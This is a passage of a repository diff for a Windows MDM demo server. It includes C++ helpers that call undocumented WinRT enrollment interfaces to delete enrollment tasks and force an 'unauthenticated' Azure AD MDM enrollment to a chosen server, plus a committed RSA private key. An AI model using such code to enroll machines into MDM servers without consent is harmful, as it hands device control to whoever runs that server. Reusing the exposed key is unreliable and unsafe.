GUID EnrollWebservice;
};
MIDL_INTERFACE("EA3E6F38-0708-4CCE-AAFA-AA581441F179")
IEnrollmentResult : public IInspectable{
virtual HRESULT Proc1(GUID * p0) = 0;
virtual HRESULT Proc2(HSTRING* p0) = 0;
virtual HRESULT Proc3(int* p0) = 0;
virtual HRESULT Proc4(HSTRING* p0) = 0;
virtual HRESULT Proc5(int* p0) = 0;
};
MIDL_INTERFACE("9CB302B2-E79D-4BEB-84C7-3ABCB992DF4E")
IEnrollment : public IInspectable{
virtual HRESULT UnenrollAsync(UnenrollData p0, IAsyncAction * *p1) = 0;
virtual HRESULT EnrollAsync(EnrollData* p0, IAsyncOperation<IEnrollmentResult>** p1) = 0;
virtual HRESULT LocalEnrollAsync(int p0, IAsyncOperation<IEnrollmentResult>** p1) = 0;
virtual HRESULT AADEnrollAsync(AADEnrollData* p0, IAsyncOperation<IEnrollmentResult>** p1) = 0;
virtual HRESULT BeginMobileOperatorScope(OperatorScope* p0, GUID* p1) = 0;
virtual HRESULT GetEnrollments(int p0, IVectorView<HSTRING>** p1) = 0;
virtual HRESULT GetEnrollmentsOfCurrentUser(int p0, IVectorView<HSTRING>** p1) = 0;
virtual HRESULT CanEnroll(int p0, AADEnrollData* p1, int* p2, IVectorView<HSTRING>** p3) = 0;
virtual HRESULT Migrate(HSTRING p0) = 0;
virtual HRESULT MigrateNeeded(byte* p0) = 0;
virtual HRESULT GetObjectCount() = 0;
virtual HRESULT NoMigrationNeeded(byte* p0) = 0;
virtual HRESULT GetEnrollmentFromOpaqueID(HSTRING p0, HSTRING* p1) = 0;
virtual HRESULT GetApplicationEnrollment(HSTRING p0, HSTRING p1, int p2, HSTRING* p3) = 0;
virtual HRESULT DeleteSCEPTask(HSTRING p0) = 0;
virtual HRESULT QueueUnenroll(UnenrollData p0) = 0;
virtual HRESULT LocalApplicationEnrollAsync(HSTRING p0, HSTRING p1, int p2, IAsyncOperation<IEnrollmentResult>** p3) = 0;
virtual HRESULT LocalApplicationUnenrollAsync(HSTRING p0, IAsyncAction** p1) = 0;
virtual HRESULT RecoverAsync(HSTRING p0, HSTRING p1, IAsyncAction** p2) = 0;
};
HRESULT DeleteEnrollmentTask(const std::wstring& taskname)
{
if (taskname.empty()) {
return E_INVALIDARG;
}
// Initializing WinRT stack
RoInitializeWrapper init(RO_INIT_MULTITHREADED);
if (FAILED((HRESULT)init)) return PrintError((HRESULT)init);
// Setting input hstring
HSTRING task_name_hstr = NULL;
HRESULT hr = WindowsCreateString(taskname.c_str(), (UINT32)taskname.length(), &task_name_hstr);
if (FAILED(hr)) return PrintError(hr);
// Activating Enroller WinRT service, we are particulary interested in the IEnrollment interface
const HStringReference management_enroller_name = HString::MakeReference(L"Windows.Internal.Management.Enrollment.Enroller");
ComPtr<IEnrollment> management_enroller_ptr = nullptr;
hr = ActivateInstance(management_enroller_name.Get(), &management_enroller_ptr);
if (FAILED(hr)) return PrintError(hr);
// Calling DeleteSCEPTask to delete a given MDM enrollment sched task
hr = management_enroller_ptr->DeleteSCEPTask(task_name_hstr);
if (FAILED(hr)) return PrintError(hr);
//wprintf(L"DeleteSCEPTask: Task %s was successfully deleted\n", taskname.c_str());
return S_OK;
}

View File

@ -0,0 +1,140 @@
#include "common.h"
MIDL_INTERFACE("EA03163E-5836-4FFD-84AF-9DFE0E58E7F9")
FindDiscoveryResults : public IInspectable{
virtual HRESULT Proc1(HSTRING * p0) = 0;
virtual HRESULT Proc2(BYTE* p0) = 0;
};
MIDL_INTERFACE("C7EBA020-AF80-4B6B-B2DC-329F13A8B101")
DiscoverEndpointsResults : public IInspectable{
virtual HRESULT Proc1(int* p0) = 0;
virtual HRESULT Proc2(int* p0) = 0;
virtual HRESULT Proc3(HSTRING* p0) = 0;
virtual HRESULT Proc4(HSTRING* p0) = 0;
virtual HRESULT Proc5(HSTRING* p0) = 0;
};
MIDL_INTERFACE("C5466834-857E-45BF-920D-0E9C1E8CA703")
CustomAllDonePageResults : public IInspectable{
virtual HRESULT Proc6(HSTRING * p0) = 0;
virtual HRESULT Proc7(HSTRING* p0) = 0;
virtual HRESULT Proc8(HSTRING* p0) = 0;
virtual HRESULT Proc9(HSTRING* p0) = 0;
};
MIDL_INTERFACE("FD0D03BA-0AEE-4FF7-8990-689AFBF63A20")
ReflectedEnrollmentResult : public IInspectable{
virtual HRESULT Proc1(GUID * p0) = 0;
virtual HRESULT Proc2(HSTRING* p0) = 0;
virtual HRESULT Proc3(int* p0) = 0;
virtual HRESULT Proc4(HSTRING* p0) = 0;
virtual HRESULT Proc5(int* p0) = 0;
};
template <>
MIDL_INTERFACE("FA7717FD-0583-5A8D-AE87-78C26D9BB9C8")
IAsyncOperationCompletedHandler<ReflectedEnrollmentResult> : public IInspectable{
virtual HRESULT Proc1(IAsyncOperation<ReflectedEnrollmentResult>*p0, int p1) = 0;
};
template <>
MIDL_INTERFACE("E5BB59E8-7790-598A-BC6B-457E588370CE")
IAsyncOperation<ReflectedEnrollmentResult> : public IInspectable{
virtual HRESULT Proc6(IAsyncOperationCompletedHandler<ReflectedEnrollmentResult>*p0) = 0;
virtual HRESULT Proc7(IAsyncOperationCompletedHandler<ReflectedEnrollmentResult>** p0) = 0;
virtual HRESULT Proc8(ReflectedEnrollmentResult** p0) = 0;
};
MIDL_INTERFACE("3490F9C9-9703-46D0-B778-1EC23B82F926")
ReflectedEnrollment : public IInspectable{
virtual HRESULT FindDiscoveryServiceAsync(HSTRING p0, BYTE p1, IAsyncOperation<FindDiscoveryResults>**p2) = 0;
virtual HRESULT DiscoverEndpointsAsync(HSTRING p0, HSTRING p1, BYTE p2, IAsyncOperation<DiscoverEndpointsResults>** p3) = 0;
virtual HRESULT EnrollAsync(HSTRING p0, HSTRING p1, HSTRING p2, int p3, HSTRING p4, HSTRING p5, HSTRING p6, HSTRING p7, int p8, HSTRING p9, IAsyncOperation<ReflectedEnrollmentResult>** p10) = 0;
virtual HRESULT AllowAuthUri(void* p0) = 0;
virtual HRESULT RemoveAuthUriAllowList() = 0;
virtual HRESULT EventWriteForEnrollment(int p0, int p1) = 0;
virtual HRESULT RetrieveCustomAllDonePageAsync(IAsyncOperation<CustomAllDonePageResults>** p0) = 0;
virtual HRESULT SetEnrollmentAsDormant(HSTRING p0, int p1, int p2, IAsyncAction** p3) = 0;
virtual HRESULT CompleteMAMToMDMUpgrade(HSTRING p0, HSTRING p1, int p2, IAsyncAction** p3) = 0;
virtual HRESULT GetEnrollment(int p0, IAsyncOperation<HSTRING>** p1) = 0;
virtual HRESULT CreateCorrelationVector(IAsyncOperation<HSTRING>** p0) = 0;
virtual HRESULT CheckForDomainControllerConnectivity(int p0, IAsyncAction** p1) = 0;
virtual HRESULT ShowMdmSyncStatusPageAsync(int p0, IAsyncOperation<INT32>** p1) = 0;
virtual HRESULT PollForExpectedPoliciesAndResources(int p0, int p1, int p2, void** p3) = 0;
virtual HRESULT UpdateServerWithResult(int p0, int p1) = 0;
virtual HRESULT StartPollingTask() = 0;
virtual HRESULT ClearAutoLoginData() = 0;
virtual HRESULT SetWasContinuedAnyway(int p0) = 0;
virtual HRESULT CheckMDMProgressModeAsync(void** p0) = 0;
virtual HRESULT CheckBlockingValueAsync(IAsyncOperation<INT32>** p0) = 0;
virtual HRESULT ShouldShowCollectLogsAsync(int p0, IAsyncOperation<INT32>** p1) = 0;
virtual HRESULT CollectLogs(HSTRING p0, IAsyncAction** p1) = 0;
virtual HRESULT ResetProgressTimeout(int p0) = 0;
virtual HRESULT RetrieveCustomErrorText(int p0, IAsyncOperation<HSTRING>** p1) = 0;
virtual HRESULT AADEnrollAsync(HSTRING p0, HSTRING p1, HSTRING p2, HSTRING p3, int p4, HSTRING p5, HSTRING p6, HSTRING p7, IAsyncOperation<ReflectedEnrollmentResult>** p8) = 0;
virtual HRESULT AADEnrollAsyncWithTenantId(HSTRING p0, HSTRING p1, HSTRING p2, HSTRING p3, int p4, HSTRING p5, HSTRING p6, HSTRING p7, HSTRING p8, void** p9) = 0;
virtual HRESULT UnenrollAsync(HSTRING p0, IAsyncAction** p1) = 0;
virtual HRESULT AADCredentialsEnrollAsync(int p0, IAsyncAction** p1) = 0;
virtual HRESULT PrepForFirstSignin() = 0;
virtual HRESULT CheckRebootRequiredAsync(IAsyncOperation<boolean>** p0) = 0;
virtual HRESULT RebuildSchedulesAndSyncWithServerAsync(IAsyncAction** p0) = 0;
virtual HRESULT RecreateEnrollmentTasksAsync(IAsyncAction** p0) = 0;
virtual HRESULT ForceRunDeviceRegistrationScheduledTaskAsync(IAsyncAction** p0) = 0;
virtual HRESULT CollectLogsEx(HSTRING p0, HSTRING p1, IAsyncAction** p2) = 0;
virtual HRESULT AADUnregisterAsync(IAsyncAction** p0) = 0;
virtual HRESULT CollectOneTrace(HSTRING p0, IAsyncAction** p1) = 0;
virtual HRESULT MmpcGetManagementUrlsAsync(HSTRING p0, HSTRING p1, void** p2) = 0;
virtual HRESULT GetSyncFailureTimeout(IAsyncOperation<INT32>** p0) = 0;
};
HRESULT EnrollAADUsingReflectedEnroller(const std::wstring& upn, const std::wstring& discovery_service_full_url)
{
if (discovery_service_full_url.empty()) {
return E_INVALIDARG;
}
// Initializing WinRT stack
RoInitializeWrapper init(RO_INIT_MULTITHREADED);
if (FAILED((HRESULT)init)) return PrintError((HRESULT)init);
// Setting input hstrings
HSTRING upn_hstr = NULL;
HRESULT hr = WindowsCreateString(upn.c_str(), (UINT32)upn.length(), &upn_hstr);
if (FAILED(hr)) return PrintError(hr);
HSTRING discovery_url_hstr = NULL;
hr = WindowsCreateString(discovery_service_full_url.c_str(), (UINT32)discovery_service_full_url.length(), &discovery_url_hstr);
if (FAILED(hr)) return PrintError(hr);
std::wstring dummy = L"value";
HSTRING dummy_hstr = NULL;
hr = WindowsCreateString(dummy.c_str(), (UINT32)dummy.length(), &dummy_hstr);
if (FAILED(hr)) return PrintError(hr);
// Activating ReflectedEnroller WinRT service, we are particulary interested in the ReflectedEnrollment interface
const HStringReference reflected_enroller_name = HString::MakeReference(L"EnterpriseDeviceManagement.Enrollment.ReflectedEnroller");
ComPtr<ReflectedEnrollment> reflected_enrollment_ptr = NULL;
hr = Windows::Foundation::ActivateInstance(reflected_enroller_name.Get(), &reflected_enrollment_ptr);
if (FAILED(hr) || !reflected_enrollment_ptr) return PrintError(hr);
// Calling AADEnrollAsync to perform the unauthenticated AAD MDM Enrollment
IAsyncOperation<ReflectedEnrollmentResult>* reflected_enrollment_result_ptr = NULL;
hr = reflected_enrollment_ptr->AADEnrollAsync(
upn_hstr,
discovery_url_hstr,
dummy_hstr,
dummy_hstr,
0,
dummy_hstr,
dummy_hstr,
dummy_hstr,
&reflected_enrollment_result_ptr);
if (FAILED(hr) || !reflected_enrollment_result_ptr) return PrintError(hr);
// wprintf(L"AADEnrollAsync: AAD Enrollment was successfully called for UPN %s\n", upn.c_str());
return hr;
}

View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Oscar Beaumont
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA1RuIhpHWDudu07FfJ2bTAzm8DaD5F9WSxC8cKm6OCttN7tIj
FzyayThorwTZ37+VeJMZ7/bP/bqxTkF7Y59geEsFlDnLvQWm2Hh4f79MV08cWx/T
B3Wqgk6jPfr0dS2sQZv+JiS6/OR0BCTpUPZwM7eQiN3SoPDZEibIaLt53ECVc8ze
mD8cHrNmCk8HIWOmhzP5UzM21pXy8JOo2aEql6iVBoUa0QVfJVX9EHDPnmJmeA6f
d0uDZTvi8YSj+GqcmcBmGTe/rbpfaJjPiaXce0bF2JKjmK38bjgK29fHoEZ+Scw3
ul160fxMV1bBhIcaJt+uEQyOKkdqLYPZ+lZ+yQIDAQABAoIBAHbGfMZ8G/F8njGQ
53b/gVaH5D84W/0jxURg+XLQ4Yw9hOc56eL2nVLPhNEfhAuILVfhrRAo4O4LEu2J
46q31r3VGovt1pdIwiBerNKOnY8AAc7sIuNCesFb8PIHoB57UUnUFsfNqwZukhcJ
N50vbYP1qLIP6GhZNLNAOGzfKOFPfTA1hpgXkUAYFUC6D5DwIMNuxX/5QYjAw8fK
e0NsehjuzTb+HckazvB/B0SpPZyezQrpJU5AEWzxQgcL+Qx5BdcOPyR83vdH8PoJ
83uj4FhNA16dHmo87AGe6d2FncadCoLpxjcJgjctqcDnJFdAdPcJOcA76qYeDh4E
nkSali0CgYEA4POeRx1RnUI7YN1b4JwY8qTj8ucMTaZk/Kjb1BPXX5rqC6Vx7I4N
UNCLNvPn6U/1W9NXzijamyddxcNtHcy8jXqlYawOebE3MAZvayBlC4yPYCd230LJ
ADl5auQeNj2ktJbJwYgZQcwnMEu3SGYIMvy96pKdWilUenPbfO9pj/cCgYEA8oVr
W17vQJX+8hmItcnqEHoCFXi2hM/vKZCHF/MrknJcpANTo7rRQaxn3xIqZRkt6xJz
vp5yl20pzl/KDSMxLd4H51fKy6Fzk0hvFpdqbsxLidu+rf1o3Nice6WBLqz+XMtV
i/dTqvD9b+CVmnoVmwVHoAja2QTZCAQnLGqCNz8CgYEAwZ7PGFTS/7GXXEuLnmud
SZTFozhdraRP/ez1sbgWQ/MaCkYwJbUrHukxOm57qaUqAgyJ4ifl6W/b1bHdBK5J
iNkM6mHm37W6U7rmQeXTMzqb2d5+AbMBQRE3QdrxaixqzQmQxOR5INowzPAO5OD1
o7VJXlMt3wH99ZwtSn7jdIcCgYEAzxEDfNwtwyNOrj8G7tAbPT4vEU4j6HnxZbe0
4MoK5dsnJhKBE0aq7Dvb5CaKdA9vmUoD8Tkv9gKKs14uEdF+Z/8vGGNpDzwmhhZO
YyedBEUCKg6pW70GD6oS0a+aANRLyccCn6LomQdyHFfQ5Dhgwh9b7FQjJzBwbdu9
5rp5u9kCgYA1KZWTkSxjUEycTNKgQz4MKFCEbYkm8B6lfAY5GYhTI1fsoympgd4d
RYmQUuhHrLHP4s85NOSoRdrMD8MiRyhHna+FoaqIEIW5ErMkNDM9SYs4TyrIxf7l
R42IvNH76CcJpcWYhQ1PCLdsbuyO9lMkXBylPMI1VPZkjUZqj/Ixfw==
-----END RSA PRIVATE KEY-----

View File

@ -0,0 +1,27 @@
Bag Attributes
localKeyID: 01 00 00 00
friendlyName: mdmwindows.com
subject=CN = *.mdmwindows.com
issuer=CN = *.mdmwindows.com
-----BEGIN CERTIFICATE-----
MIIDPTCCAiWgAwIBAgIQGQpbyNZeY7hBkxKCbRRfaTANBgkqhkiG9w0BAQsFADAb
MRkwFwYDVQQDDBAqLm1kbXdpbmRvd3MuY29tMB4XDTIyMTIyODE0MTUxMloXDTMy
MTIyODE0MjUxMlowGzEZMBcGA1UEAwwQKi5tZG13aW5kb3dzLmNvbTCCASIwDQYJ
KoZIhvcNAQEBBQADggEPADCCAQoCggEBANUbiIaR1g7nbtOxXydm0wM5vA2g+RfV
ksQvHCpujgrbTe7SIxc8msk4aK8E2d+/lXiTGe/2z/26sU5Be2OfYHhLBZQ5y70F
pth4eH+/TFdPHFsf0wd1qoJOoz369HUtrEGb/iYkuvzkdAQk6VD2cDO3kIjd0qDw
2RImyGi7edxAlXPM3pg/HB6zZgpPByFjpocz+VMzNtaV8vCTqNmhKpeolQaFGtEF
XyVV/RBwz55iZngOn3dLg2U74vGEo/hqnJnAZhk3v626X2iYz4ml3HtGxdiSo5it
/G44CtvXx6BGfknMN7pdetH8TFdWwYSHGibfrhEMjipHai2D2fpWfskCAwEAAaN9
MHswDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
ATArBgNVHREEJDAigg5tZG13aW5kb3dzLmNvbYIQKi5tZG13aW5kb3dzLmNvbTAd
BgNVHQ4EFgQUsFD9edObvrbuLZopzjgGtpr8ZTQwDQYJKoZIhvcNAQELBQADggEB
AEEfa9BS75jG4D2fJ1/Q9Xn/SPsaAtwUYW+ilGCqYBfQ8lBmXGN8z8WETdw5xus3
FGdIYtw8SKF5fp3TOJlNkiF0LNhAEvwDEkNCtOK9XpqTScjDi2WT1c+gJmPyHj7M
+vn9+gHFI7tUT+JImqU1I6tzD2OsZS5H1Vow+QwD3/DswSoUKM+zQreJGKaKLZqo
i6B/fdS+XkYWymwXmQiu+7D8RwTGEMIrfPFon90I9APrDhOmjiDa7L+xs7zRfT4J
fzIbHn867msNrZzwPAmf3fRhEk8cwHD5jfgnXuoVL4icPG57rUvCfX+QI9FfpjH4
ZIbwI+HQg86S0hVwqhGs1RI=
-----END CERTIFICATE-----

View File

@ -0,0 +1,10 @@
module github.com/oscartbeaumont/windows_mdm
go 1.18
require (
github.com/go-xmlfmt/xmlfmt v1.1.2
github.com/gorilla/mux v1.7.3
golang.org/x/crypto v0.10.0
)

View File

@ -0,0 +1,49 @@
github.com/ernesto-jimenez/httplogger v0.0.0-20220128121225-117514c3f345 h1:AZLrCR38RDhsyCQakz1UxCx72As18Ai5mObrKvT8DK8=
github.com/ernesto-jimenez/httplogger v0.0.0-20220128121225-117514c3f345/go.mod h1:pw+gaKQ52Cl/SrERU62yQAiWauPpLgKpuR1hkxwL4tM=
github.com/go-xmlfmt/xmlfmt v1.1.2 h1:Nea7b4icn8s57fTx1M5AI4qQT5HEM3rVUO8MuE6g80U=
github.com/go-xmlfmt/xmlfmt v1.1.2/go.mod h1:aUCEOzzezBEjDBbFBoSiya/gduyIiWYRP6CnSFIV8AM=
github.com/golang-jwt/jwt/v4 v4.5.0 h1:7cYmW1XlMY7h7ii7UhUyChSgS5wUJEnm9uZVTGqOWzg=
github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/gorilla/handlers v1.4.2 h1:0QniY0USkHQ1RGCLfKxeNHK9bkDHGRYGNDFBCS+YARg=
github.com/gorilla/handlers v1.4.2/go.mod h1:Qkdc/uu4tH4g6mTK6auzZ766c4CA0Ng8+o/OAirnOIQ=
github.com/gorilla/mux v1.7.3 h1:gnP5JzjVOuiZD07fKKToCAOjS0yOpj/qPETTXCCS6hw=
github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM=
golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/term v0.9.0/go.mod h1:M6DEAAIenWoTxdKrOltXcmDY3rSplQUkrvaDU5FcQyo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.10.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,114 @@
package main
import (
"bytes"
"fmt"
"io"
"net/http"
"net/http/httptest"
"net/http/httputil"
"strings"
"github.com/go-xmlfmt/xmlfmt"
)
// drainBody reads all of bytes to memory and then returns two equivalent
// ReadClosers yielding the same bytes.
//
// It returns an error if the initial slurp of all bytes fails. It does not attempt
// to make the returned ReadClosers have identical error-matching behavior.
func drainBody(b io.ReadCloser) (r1, r2 io.ReadCloser, body []byte, err error) {
if b == nil || b == http.NoBody {
// No copying needed. Preserve the magic sentinel meaning of NoBody.
return http.NoBody, http.NoBody, nil, nil
}
var buf bytes.Buffer
if _, err = buf.ReadFrom(b); err != nil {
return nil, b, nil, err
}
if err = b.Close(); err != nil {
return nil, b, nil, err
}
return io.NopCloser(&buf), io.NopCloser(bytes.NewReader(buf.Bytes())), buf.Bytes(), nil
}
// global HTTP handler to log input and output https traffic
func globalHandler(h http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
shouldLog := strings.HasPrefix(r.URL.Path, "/EnrollmentServer") || strings.HasPrefix(r.URL.Path, "/ManagementServer")
if !shouldLog {
// Skip logging, call next handler
h.ServeHTTP(w, r)
return
}
if verbose {
// grabbing Input Header and Body
reqHeader, err := httputil.DumpRequest(r, false)
if err != nil {
panic(err)
}
var bodyBytes []byte
reqBodySave := r.Body
if r.Body != nil {
reqBodySave, r.Body, bodyBytes, err = drainBody(r.Body)
if err != nil {
panic(err)
}
}
r.Body = reqBodySave
var beautifiedReqBody string
if len(bodyBytes) > 0 {
beautifiedReqBody = xmlfmt.FormatXML(string(bodyBytes), " ", " ")
}
fmt.Printf("\n\n============================= Input Request =============================\n")
fmt.Println("----------- Input Header -----------\n", string(reqHeader))
if len(beautifiedReqBody) > 0 {
fmt.Println("----------- Input Body -----------\n", string(beautifiedReqBody))
} else {
fmt.Printf("----------- Empty Input Body -----------\n")
}
fmt.Printf("=========================================================================\n\n\n")
}
rec := httptest.NewRecorder()
h.ServeHTTP(rec, r)
if verbose {
// grabbing Output Header and Body
responseBody := rec.Body.Bytes()
var beautifiedResponseBody string
if len(responseBody) > 0 {
beautifiedResponseBody = xmlfmt.FormatXML(string(responseBody), " ", " ")
}
responseHeader, err := httputil.DumpResponse(rec.Result(), false)
if err != nil {
panic(err)
}
fmt.Printf("\n\n============================= Output Response =============================\n")
fmt.Println("----------- Response Header -----------\n", string(responseHeader))
if len(beautifiedResponseBody) > 0 {
fmt.Println("----------- Response Body -----------\n", string(beautifiedResponseBody))
} else {
fmt.Printf("----------- Empty Response Body -----------\n")
}
fmt.Printf("=========================================================================\n\n\n")
}
// we copy the captured response headers to our new response
for k, v := range rec.Header() {
w.Header()[k] = v
}
w.Write(rec.Body.Bytes())
})
}

View File

@ -0,0 +1,85 @@
package main
import (
"flag"
"fmt"
"net/http"
"os"
"github.com/gorilla/mux"
)
// Code forked from https://github.com/oscartbeaumont/windows_mdm
var domain string
var deepLinkUserEmail string
var authPolicy string
var profileDir string
var staticDir string
var verbose bool
func main() {
fmt.Println("Starting Windows MDM Demo Server")
// Parse CMD flags. This populates the varibles defined above
flag.StringVar(&domain, "domain", "mdmwindows.com", "Your servers primary domain")
flag.StringVar(&deepLinkUserEmail, "dl-user-email", "demo@mdmwindows.com", "An email of the enrolling user when using the Deeplink ('/deeplink')")
flag.StringVar(&authPolicy, "auth-policy", "Federated", "An email of the enrolling user when using the Deeplink ('/deeplink')")
flag.StringVar(&profileDir, "mdm-profile-dir", "./profile", "The MDM policy directory contains the SyncML MDM profile commmands to enforce to enrolled devices")
flag.StringVar(&staticDir, "static-dir", "./static", "The directory to serve static files")
flag.BoolVar(&verbose, "verbose", true, "HTTP traffic dump")
flag.Parse()
// Verify authPolicy is valid
if authPolicy != "Federated" && authPolicy != "OnPremise" {
panic("unsupported authpolicy")
}
// Checking if profile directory exists
_, err := os.Stat(profileDir)
if err != nil {
if os.IsNotExist(err) {
panic("profile directory does not exists")
} else {
panic(err)
}
}
// Checking if static directory exists
_, err = os.Stat(staticDir)
if err != nil {
if os.IsNotExist(err) {
panic("static directory does not exists")
} else {
panic(err)
}
}
// Create HTTP request router
r := mux.NewRouter()
//MS-MDE and MS-MDM endpoints
r.Path("/EnrollmentServer/Discovery.svc").Methods("GET", "POST", "PUT").HandlerFunc(DiscoveryHandler)
r.Path("/EnrollmentServer/Policy.svc").Methods("POST").HandlerFunc(PolicyHandler)
r.Path("/EnrollmentServer/Enrollment.svc").Methods("POST").HandlerFunc(EnrollHandler)
r.Path("/ManagementServer/MDM.svc").Methods("POST").HandlerFunc(ManageHandler)
r.Path("/EnrollmentServer/Auth.svc").Methods("GET", "POST").HandlerFunc(TokenHandler)
r.Path("/TOS.svc").Methods("GET", "POST").HandlerFunc(TOSHandler)
//Static root endpoint
r.Path("/").Methods("GET").HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
